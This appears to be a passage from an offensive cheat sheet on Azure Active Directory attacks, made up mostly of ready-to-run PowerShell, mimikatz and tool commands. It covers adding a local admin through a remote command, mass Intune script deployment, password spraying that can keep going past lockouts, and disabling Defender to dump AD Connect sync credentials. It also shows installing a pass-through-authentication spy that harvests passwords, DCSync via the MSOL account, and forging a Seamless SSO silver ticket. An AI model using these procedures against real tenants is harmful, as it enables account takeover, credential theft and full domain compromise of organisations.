Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
Main.py --usercert "admin.pfx" --certpass password --remoteip 10.10.10.10

python Main.py --usercert C:\Users\Username\Documents\username\<USERNAME>@<TENANT NAME>.onmicrosoft.com.pfx --
certpass AzureADCert --remoteip 10.10.10.10 --command "cmd.exe /c net user username Password@123 /add /Y && net localgroup administrators username /add"

Intunes Administration

Requirements:

Global Administrator or Intune Administrator Privilege : Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"

Login into https://endpoint.microsoft.com/#home or use Pass-The-PRT
Go to Devices -> All Devices to check devices enrolled to Intune
Go to Scripts and click on Add for Windows 10.
Add a Powershell script
Specify Add all users and Add all devices in the Assignments page.

⚠️ It will take up to one hour before you script is executed !

Dynamic Group Membership

Get groups that allow Dynamic membership: Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}

Rule example : (user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")
Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group

Open user's profile, click on Manage
Click on Resend invite and to get an invitation URL

Set the secondary email

PS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME>.onmicrosoft.com -Verbose

Administrative Unit

Administrative Unit can reset password of another user

PS AzureAD> Get-AzureADMSAdministrativeUnit -Id <ID>
PS AzureAD> Get-AzureADMSAdministrativeUnitMember -Id <ID>
PS AzureAD> Get-AzureADMSScopedRoleMembership -Id <ID> | fl
PS AzureAD> Get-AzureADDirectoryRole -ObjectId <RoleId>
PS AzureAD> Get-AzureADUser -ObjectId <RoleMemberInfo.Id> | fl 
PS C:\Tools> $password = "Password" | ConvertToSecureString -AsPlainText -Force
PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "<Username>@<TENANT NAME>.onmicrosoft.com"}).ObjectId | SetAzureADUserPassword -Password $Password -Verbose

Deployment Template

PS Az> Get-AzResourceGroup
PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP

# Export
PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
cat <DEPLOYMENT NAME>.json # search for hardcoded password
cat <PATH TO .json FILE> | Select-String password

Application Proxy

# Enumerate application that have Proxy
PS C:\Tools> Get-AzureADApplication | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}
PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1
PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT-ID>

Conditional Access

Bypassing conditional access by copying User-Agent (Chrome Dev Tool > Select iPad Pro, etc)

Bypassing conditional access by faking device compliance

# AAD Internals - Making your device compliant
# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
# Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64"
# Marking device compliant - option 1: Registering device to Intune
# Get an access token for Intune MDM and save to cache (prompts for credentials)
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache 
# Join the device to Intune
Join-AADIntDeviceToIntune -DeviceName "SixByFour"
# Start the call back
Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour"

Azure AD

With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD.

Authenticate to your webmail portal (i.e. https://webmail.domain.com/)
Change your browser URL to: https://azure.microsoft.com/
Pick the account from the active sessions
Select Azure Active Directory and enjoy!

Azure AD vs Active Directory

Active Directory	Azure AD
LDAP	REST API'S
NTLM/Kerberos	OAuth/SAML/OpenID
Structured directory (OU tree)	Flat structure
GPO	No GPO's
Super fine-tuned access controls	Predefined roles
Domain/forest	Tenant
Trusts	Guests

Password Hash Syncronization (PHS)
- Passwords from on-premise AD are sent to the cloud
- Use replication via a service account created by AD Connect
Pass Through Authentication (PTA)
- Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text
Connect Windows Server AD to Azure AD using Federation Server (ADFS)
- Dir-Sync : Handled by on-premise Windows Server AD, sync username/password
Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large
Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large
Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large
Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

Password Spray

Default lockout policy of 10 failed attempts, locking out an account for 60 seconds

git clone https://github.com/dafthack/MSOLSpray
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!

# UserList  - UserList file filled with usernames one-per-line in the format "user@domain.com"
# Password  - A single password that will be used to perform the password spray.
# OutFile   - A file to output valid results to.
# Force     - Forces the spray to continue and not stop when multiple account lockouts are detected.
# URL       - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.

Convert GUID to SID

The user's AAD id is translated to SID by concatenating "S-1–12–1-" to the decimal representation of each section of the AAD Id.

GUID: [base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)]
SID: S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)]

For example, the representation of 6aa89ecb-1f8f-4d92–810d-b0dce30b6c82 is S-1–12–1–1789435595–1301421967–3702525313–2188119011

Azure AD Connect

Check if Azure AD Connect is installed : Get-ADSyncConnector

For PHS, we can extract the credentials
For PTA, we can install the agent
For Federation, we can extract the certificate from ADFS server using DA

PS > Set-MpPreference -DisableRealtimeMonitoring $true
PS > Copy-Item -ToSession $adcnct -Path C:\Tools\AADInternals.0.4.5.zip -Destination C:\Users\Administrator\Documents
PS > Expand-Archive C:\Users\Administrator\Documents\AADInternals.0.4.5.zip -DestinationPath C:\Users\Administrator\Documents\AADInternals
PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
PS > Get-AADIntSyncCredentials

# Get Token for SYNC account and reset on-prem admin password
PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<TenantName>.onmicrosoft.com", $passwd)
PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache
PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId
PS > Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -Verbose

Check if PTA is installed : Get-Command -Module PassthroughAuthPSModule

Install a PTA Backdoor

PS AADInternals> Install-AADIntPTASpy
PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords

Azure AD Connect - Password extraction

Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

Tool	Requires code execution on target	DLL dependencies	Requires MSSQL locally	Requires python locally
ADSyncDecrypt	Yes	Yes	No	No
ADSyncGather	Yes	No	No	Yes
ADSyncQuery	No (network RPC calls only)	No	Yes	Yes

git clone https://github.com/fox-it/adconnectdump
# DCSync with AD Sync account

Azure AD Connect - MSOL Account's password and DCSync

You can perform DCSync attack using the MSOL account.

Requirements:

Compromise a server with Azure AD Connect service
Access to ADSyncAdmins or local Administrators groups

Use the script azuread_decrypt_msol.ps1 from @xpn to recover the decrypted password for the MSOL account:

azuread_decrypt_msol.ps1: AD Connect Sync Credential Extract POC https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545
azuread_decrypt_msol_v2.ps1: Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c

Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.

Azure AD Connect - Seamless Single Sign On Silver Ticket

Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)

Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account AZUREADSSOC is created in the on-prem AD.

⚠️ The password of the AZUREADSSOACC account never changes.

Using https://autologon.microsoftazuread-sso.com/ to convert Kerberos tickets to SAML and JWT for Office 365 & Azure

NTLM password hash of the AZUREADSSOACC account, e.g. f9969e088b2c13d93833d0ce436c76dd.
```
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
```
AAD logon name of the user we want to impersonate, e.g. elrond@contoso.com. This is typically either his userPrincipalName or mail attribute from the on-prem AD.
SID of the user we want to impersonate, e.g. S-1-5-21-2121516926-2695913149-3163778339-1234.

Create the Silver Ticket and inject it into Kerberos cache:

mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

Launch Mozilla Firefox
Go to about:config and set the network.negotiate-auth.trusted-uris preference to value https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.

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Azure Active Directory

Summary

Azure Recon Tools

Terminology

Enumeration

Enumerate valid emails

Password spraying

Enumerate Azure Subdomains

Enumerate tenant with Azure AD Powershell

Enumerate tenant with Az Powershell

Enumerate tenant with az cli

Enumerate manually

Enumeration methodology

Phishing with Evilginx2

Illicit Consent Grant

Register Application

Configure Application

Setup 365-Stealer (Deprecated)

Setup Vajra

Device Code Phish

Token from Managed Identity

Azure API via Powershell

Azure API via Python Version

Get Tokens

Use Tokens

Refresh Tokens

Stealing Tokens

Stealing tokens from az cli

Stealing tokens from az powershell

Add credentials to all Enterprise Applications

Spawn SSH for Azure Web App

Azure Storage Blob

Enumerate blobs

SAS URL

List and download blobs

Runbook Automation

Create a Runbook

Persistence via Automation accounts

Virtual Machine RunCommand

KeyVault Secrets

Pass The PRT

Pass The Certificate

Intunes Administration

Dynamic Group Membership

Administrative Unit

Deployment Template

Application Proxy

Conditional Access

Azure AD

Azure AD vs Active Directory

Password Spray

Convert GUID to SID

Azure AD Connect

Azure AD Connect - Password extraction

Azure AD Connect - MSOL Account's password and DCSync

Azure AD Connect - Seamless Single Sign On Silver Ticket

References

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